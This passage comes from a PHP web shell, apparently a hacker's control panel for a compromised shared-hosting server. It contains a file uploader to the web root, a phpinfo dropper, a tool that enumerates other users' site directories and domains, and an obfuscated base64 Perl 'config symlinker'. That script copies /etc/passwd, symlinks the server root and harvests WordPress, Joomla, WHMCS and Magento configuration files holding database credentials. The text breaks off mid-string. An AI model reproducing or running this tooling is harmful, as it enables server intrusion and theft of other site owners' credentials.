764 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
765 } else {
766 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create file 'phpinfo'."));
767 save("phpinfo.php", "w", "<?php print '<html><style>html,body {background: #000000;}</style><div style=\'background: #000000; color: #cccccc;\'>'; phpinfo(); print '</div></html>'; ?>");
768 print "<iframe src='http://" . $_SERVER['HTTP_HOST'] . "/" . $GLOBALS['FILEPATH'] . "/phpinfo.php' frameborder='0' scrolling='yes'></iframe>";
769 }
770 }
771 } elseif ($toolsname === "upload") {
772 if ($_POST['upload']) {
773 if ($_POST['uploadtype'] === '1') {
774 if (@copy($_FILES['file']['tmp_name'], path() . DIRECTORY_SEPARATOR . $_FILES['file']['name'] . "")) {
775 $act = color(1, 2, "Uploaded!") . " at <i><b>" . path() . DIRECTORY_SEPARATOR . $_FILES['file']['name'] . "</b></i>";
776 } else {
777 $act = color(1, 1, "Failed to upload file!");
778 }
779 } elseif ($_POST['uploadtype'] === '2') {
780 $root = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . $_FILES['file']['name'];
781 $web = $_SERVER['HTTP_HOST'] . DIRECTORY_SEPARATOR . $_FILES['file']['name'];
782 if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
783 if (@copy($_FILES['file']['tmp_name'], $root)) {
784 $act = color(1, 2, "Uploaded!") . " at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
785 } else {
786 $act = color(1, 1, "Failed to upload file!");
787 }
788 } else {
789 $act = color(1, 1, "Failed to upload file!");
790 }
791 }
792 }
793 print "$act
794 <form method='post' enctype='multipart/form-data'>
795 <input type='radio' name='uploadtype' value='1' checked><font size='2' color='red'>here[ " . writeable(path(), "Writeable") . "]
796 <input type='radio' name='uploadtype' value='2'>doct_root [ " . writeable($_SERVER['DOCUMENT_ROOT'], "Writeable") . " ]</font> <p>
797 <input type='file' name='file'>
798 <input type='submit' value=' > ' name='upload'>
799 </form>";
800 } elseif ($toolsname === "jumping") {
801 $i = 0;
802 foreach (getuser() as $user) {
803 $path = "/home/$user/public_html";
804 if (is_readable($path)) {
805 $status = color(1, 2, "[R]");
806 if (is_writable($path)) {
807 $status = color(1, 2, "[RW]");
808 }
809 $i++;
810 print "$status <a href='?dir=$path'>" . color(1, 4, $path) . "</a>";
811 if (!function_exists('posix_getpwuid')) print "<br>";
812 if (!getdomainname()) print " => " . color(1, 1, "Can't get domain name") . "<br>";
813 foreach (getdomainname() as $domain) {
814 $userdomain = (object)@posix_getpwuid(@fileowner("/etc/valiases/$domain"));
815 $userdomain = $userdomain->name;
816 if ($userdomain === $user) {
817 print " => <a href='http://$domain/' target='_blank'>" . color(1, 2, $domain) . "</a><br>";
818 break;
819 }
820 }
821 }
822 }
823 print ($i === 0) ? "" : "<p>" . color(1, 3, "Total ada $i kamar di " . $GLOBALS['SERVERIP']) . "</p>";
824 } elseif ($toolsname === "symlink") {
825 if (!is_writable(path())) die(color(1, 1, "Directory '" . path() . "' is not writeable. Can't create directory 'blacksym'."));
826 if (!is_dir(path() . "/blacksym/")) {
827 $sym['code'] = "DQoNCiMhL3Vzci9iaW4vcGVybCAtSS91c3IvbG9jYWwvYmFuZG1pbg0KIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyANCiMNCiMJCU5hbWUgOiBQZXJsL0NHSSBDb25maWcgU3ltbGlua2VyIChXaXRoIEF1dG8gQnlwYXNzIFN5bWxpbmsgNDA0KQ0KIwkJVmVyc2lvbiA6IDEuMg0KIwkJQ3JlYXRlZCA6IDkgTWVpIDIwMTcNCiMJCUF1dGhvciA6IDB4MTk5OQ0KIwkJVGhhbmtzIFRvIDogMHhJRGlvdCAsIEluZG9uZXNpYW4gQ29kZSBQYXJ0eSAsIEphdGltNHUNCiMJCU1vcmUgSW5mbyA6IGh0dHA6Ly8weERhcmsuYmxvZ3Nwb3QuY29tDQojCQlXYW50IHRvIHJlY29kZSA/IERvbid0IGZvcmdldCBteSBuaWNrIG5hbWUgIDopDQojCQlodHRwOi8vZmFjZWJvb2suY29tL21lbGV4LjFkDQojCQkNCiMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgIyAjICMgDQoNCnVzZSBGaWxlOjpDb3B5Ow0KdXNlIHN0cmljdDsNCnVzZSB3YXJuaW5nczsNCnVzZSBNSU1FOjpCYXNlNjQ7DQpjb3B5KCIvZXRjL3Bhc3N3ZCIsInBhc3N3ZC50eHQiKSA7DQpta2RpciAiYmxhY2tzeW0iOw0Kc3ltbGluaygiLyIsImJsYWNrc3ltL3Jvb3QiKTsNCm15ICRmaWxlbmFtZSA9ICdwYXNzd2QudHh0JzsNCm15ICRodGFjY2VzcyA9IGRlY29kZV9iYXNlNjQoIlQzQjBhVzl1Y3lCSmJtUmxlR1Z6SUVadmJHeHZkMU41YlV4cGJtdHpEUXBFYVhKbFkzUnZjbmxKYm1SbGVDQnBibVJ2ZUhCc2IybDBMbWgwYlEwS1FXUmtWSGx3WlNCMFpYaDBMM0JzWVdsdUlDNXdhSEFnRFFwQlpHUklZVzVrYkdWeUlIUmxlSFF2Y0d4aGFXNGdMbkJvY0EwS1UyRjBhWE5tZVNCQmJua05Da2x1WkdWNFQzQjBhVzl1Y3lBclEyaGhjbk5sZEQxVlZFWXRPQ0FyUm1GdVkzbEpibVJsZUdsdVp5QXJTV2R1YjNKbFEyRnpaU0FyUm05c1pHVnljMFpwY25OMElDdFlTRlJOVENBclNGUk5URlJoWW14bElDdFRkWEJ3Y21WemMxSjFiR1Z6SUN0VGRYQndjbVZ6YzBSbGMyTnlhWEIwYVc5dUlDdE9ZVzFsVjJsa2RHZzlLaUFOQ2tGa1pFbGpiMjRnSjJSaGRHRTZhVzFoWjJVdmNHNW5PMkpoYzJVMk5DeHBWa0pQVW5jd1MwZG5iMEZCUVVGT1UxVm9SVlZuUVVGQlFrRkJRVUZCVVVOQldVRkJRVUZtT0M4NWFFRkJRVUZDU0U1RFUxWlJTVU5CWjBsbVFXaHJhVUZCUVVGQmJIZFRSbXg2UVVGQlRqRjNRVUZFWkdOQ1VXbHBZbVZCUVVGQlFtd3dVbFpvTUZVeU9XMWtTR1JvWTIxVlFXUXpaRE5NYld4MVlUTk9hbGxZUW14TWJUbDVXalYyZFZCQ2IwRkJRVVpWVTFWU1FsWkVhVTV3V2tzNVUyZE9Ra1pKV0ZCMldFNXVaR3BqVW05d1dEUlZOR3RYVm5JMVFVTm9WVGRJT0VKVFprbDBRVWhyUWpsRFdITnlWekJIZDBWUmRGSjNWa3ROVW5SQlZUaGFZMWxYWVU1dFRUSlBlSEY1ZVdsWldtUmpSMGxoV2pSYU56ZE5aV1ZSWTNjMlJFWkJMMVZFVlVGQldVaElhamhvVDBGVWFqbHZVbE5sTWxveFpqSkxhbEF4Wm1kTWEyNU5VRk0xYkZjd1ZtazBjRnB2Y0haSVdFUlhLMGxvVDNJNU9XZFlWSHByY2pseGRsUkNUWFJ5VG1RNFFYTk1WbU52YlZwTFJGQTJNV3RGVEdsb1IwbEtPVkZDWjA4eWFtUnpTVVV2U21JMVQyRmpSMFpCZDBSUlJXVk5SVTlhYm1neFJYRk5RMmgwVTBJNFlUWTBRbGN5VFU1b04xRldhV2hEUjB0alRraHpkMjFhTUd4QmExbEllRVkwVVdoQ1VFTkxTVmxTVlRsc05qQTFTMjFIUTBWSlZWbDZkRU5aVFVKbWEwVnFSMW8wVDJsSWQxSlJSaXQyYTFGSEszQjBRVU5KUmxKRlNsWlFVVUYyUm1ZclFuSnFiM2xSSzBOYVpuRnhNVEU0UkZKR1JXaHFaV0ppWW1Wc05tUkhhWGxVY1dZcmRsTnlhMkZTVVM4d2RYUk1OMjFJV0d3NWRuRXJaVkF6Vlc1aWFDOUlOV2RFUzJsUFJqWTNXV1ZpV1RCa1UwcGpVa0p0TUhveWNrWnNNbmxYY0RoQlZrUkpWek15WkdFM2NFeEJRVUZCUVVWc1JsUnJVM1ZSYlVOREp5QmVYa1JKVWtWRFZFOVNXVjVlRFFwRVpXWmhkV3gwU1dOdmJpQW5aR0YwWVRwcGJXRm5aUzl3Ym1jN1ltRnpaVFkwTEdsV1FrOVNkekJMUjJkdlFVRkJRVTVUVldoRlZXZEJRVUZDUVVGQlFVRlJRMEZaUVVGQlFXWTRMemxvUVVGQlFVRllUbE5TTUVsQmNuTTBZelpSUVVGQlFWcHBVekJrUlVGUU9FRXZkMFF2YjB3eWJtdDNRVUZCUVd4M1UwWnNla0ZCUVV4RmQwRkJRM2hOUWtGS2NXTkhRVUZCUVVGa01GTlZNVVpDT1c5S1FtaGpWRXAyTWtJeVpEUkJRVUZLVFZOVlVrSldSR3BNWWxwUE9WUm9lRnBGU1ZjdmNXeDJaSFJOTXpoQ1RtZEtVVzFSWjBwSFpDdEJMMDFSUWt4M1IycHBkMGd6Ym5ka2ExTk1kRTh5ZUVWU1J6Vk1jWGhZVWxOSlVqSlpSR1pFTkVkclIwMHdVRE55WWpSaU9WQkJlakJzTjNCVGJGZHNWekJtYm01TWIyeEJTVkJDTkZCWWFEUmxSblZ1ZFdOQlNVbE1kMlJGVTJWYWVVRnBabTV3Tml0MU9XOU9URzh6WjAwelRucFVaRWhTS3k4dmVuWktUWHBUZVVwTFMyOWthVWxuT0VGWVlYaGxTWG94WWtSYU4wMTRjVTVtZEdkVFZWSkVWM2szVEZWdVdqQmtXVzE0UVVaQlZrVnNTVFpCUlVONVowbHpVVkZ6YVhwTVFrOUJRa0ZFVDJwTFFYQnhhRGQxTjBkdlExVlhhWGRaWW1WMGIxVkljbkpRWTNkRGNXOUdNa3RWWlZoTWVrVjZRbll3SzNWUmJWTklUVVZhT1VZMlUxcGpjalpwTkVselFrOWhMMkkzU0ZGTllVaDBTVUYzWjB4a1NHRnNSRUV4WlhZd1pWRmlVMnB5UlhKUmQwcHdjVVkwWlVGNEwyaHZjVVF4TXpKdFRXdEtjbWsxZFZOUGJFWm9SV2h3VlZGSmFXOXFkMkZ0VDBST2MyeHFabFZYUTNGd1RHNVBZV0ZEVTB0S2RHNWhRa056V2xscVFXeHNiVmhKTkhaaFpXOWhWbGd3WTJKVFpHaHRWVkl6ZWtGTGRrNXFXVFpXYVc5dk1IUlhlbWRGYjI1TFlsY3JTMnRIVjNRelZXNTBNRU5sUjJaS2N6bG5LMVZWTUhKRlIwaElMMGgzTDAxcVNEWXZWQ3RRVDJSR2IxSk9TME5vVFRJeWVHMVBVR1Z6Y0dwUVIxRTJTSEJPVVRJM2REWnpRVU5FVTA1aGJubHZiR3BFVEVWa1ZtRkdUMHhsT0ZwclZXcExOWFZyY1ROME56bHNVRU0zTDA5RWF6VkhZU3RaTms4MVRYRjViVTUzTTFZeGVUTm9lWHBtV0RCb2NYWktUSGxpV0Vaa0t5dG1NbVF6WkRCa2JYTXJjWFpuTkU5RWVqaG1TSGd3TDB4elltVXpPVFkwYzFNM0t6UjFSV3AxYm5CeGJWTmxObVV6UkROT05TOU9NRmRhWW5Sc2VUbG1NRGx1V2pKYUwySXlPWFl5Wmt4RlpYWjJTemx4ZGpkak1uUnZTMms0VldscFVXbHhTR0p0Tm5KcFZ6WmhNVE5tYml0NmRqY3pLMjl4YjNKb1kweG5TMVZHV0ZaUUsyWnVOVElyVEc5dWFqaEpURW93VURoYVNVTkRSamt2VUZSd1EyeG9jRUoyWjFCbGJHOU1PVlUxTlU1SlFVRkJRVUZCVTFWV1QxSkxOVU5aU1VrOUp3MEtTVzVrWlhoSloyNXZjbVVnS2k1MGVIUTBNRFFOQ2tsdVpHVjRVM1I1YkdWVGFHVmxkQ0FuYUhSMGNEb3ZMMlYyWlc1MExtbHVaRzk0Y0d4dmFYUXViM0l1YVdRdmMzbHRiR2x1YXk1amMzTW5EUXBTWlhkeWFYUmxSVzVuYVc1bElFOXVEUXBTWlhkeWFYUmxRMjl1WkNBbGUxSkZVVlZGVTFSZlJrbE1SVTVCVFVWOUlGNHVLakI0YzNsdE5EQTBJRnRPUTEwTkNsSmxkM0pwZEdWU2RXeGxJRnd1ZEhoMEpDQWxlMUpGVVZWRlUxUmZWVkpKZlRRd05DQmJUQ3hTUFRNd01pNU9RMTA9Iik7DQpteSAkc3ltID0gZGVjb2RlX2Jhc2U2NCgiVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCcGJtUnZlSEJzYjJsMExtaDBiUTBLU0dWaFpHVnlUbUZ0WlNBd2VERTVPVGt1ZEhoMERRcFRZWFJwYzJaNUlFRnVlUTBLU1c1a1pYaFBjSFJwYjI1eklFbG5ibTl5WlVOaGMyVWdSbUZ1WTNsSmJtUmxlR2x1WnlCR2IyeGtaWEp6Um1seWMzUWdUbUZ0WlZkcFpIUm9QU29nUkdWelkzSnBjSFJwYjI1WGFXUjBhRDBxSUZOMWNIQnlaWE56U0ZSTlRGQnlaV0Z0WW14bERRcEpibVJsZUVsbmJtOXlaU0FxRFFwSmJtUmxlRk4wZVd4bFUyaGxaWFFnSjJoMGRIQTZMeTlsZG1WdWRDNXBibVJ2ZUhCc2IybDBMbTl5TG1sa0wzTjViV3hwYm1zdVkzTnpKdz09Iik7DQpvcGVuKG15ICRmaDEsICc+JywgJ2JsYWNrc3ltLy5odGFjY2VzcycpOw0KcHJpbnQgJGZoMSAiJGh0YWNjZXNzIjsNCmNsb3NlICRmaDE7DQpvcGVuKG15ICR4eCwgJz4nLCAnYmxhY2tzeW0vbmVtdS50eHQnKTsNCnByaW50ICR4eCAiJHN5bSI7DQpjbG9zZSAkeHg7DQpvcGVuKG15ICRmaCwgJzw6ZW5jb2RpbmcoVVRGLTgpJywgJGZpbGVuYW1lKTsNCndoaWxlIChteSAkcm93ID0gPCRmaD4pIHsNCm15IEBtYXRjaGVzID0gJHJvdyA9fiAvKC4qPyk6eDovZzsNCm15ICR1c2VybnlhID0gJDE7DQpteSBAYXJyYXkgPSAoDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nLy5hY2Nlc3NoYXNoJywgdHlwZSA9PiAnV0hNLWFjY2Vzc2hhc2gnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsIHR5cGUgPT4gJ0xva29tZWRpYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCB0eXBlID0+ICdQcmVzdGFTaG9wJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hcHAvZXRjL2xvY2FsLnhtbCcsIHR5cGUgPT4gJ01hZ2VudG8nIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCB0eXBlID0+ICdPcGVuQ2FydCcgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYXBwbGljYXRpb24vY29uZmlnL2RhdGFiYXNlLnBocCcsIHR5cGUgPT4gJ0VsbGlzbGFiJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93cC90ZXN0L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wb3J0YWwvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC90ZXN0L3dwLWNvbmZpZy5waHAnLCB0eXBlID0+ICdXb3JkcHJlc3MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RlbW8vd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92MS93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92Mi93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywgdHlwZSA9PiAnV29yZHByZXNzJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsIHR5cGUgPT4gJ1dvcmRwcmVzcycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdeV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmV0YS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kZW1vL2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC90ZXN0L2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC92MS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvdjIvY29uZmlndXJhdGlvbi5waHAnLCB0eXBlID0+ICdKb29tbGEnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywgdHlwZSA9PiAnSm9vbWxhJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzMS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htY3Mvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITUMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Ib3N0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NVUFBPUlRFUy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RvbWFpbnMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW4vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvSE9TVElORy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2hvc3Rpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2FydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LA0KCXtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sDQoJe2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL09yZGVyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwNCgl7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvb3JkZXIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNT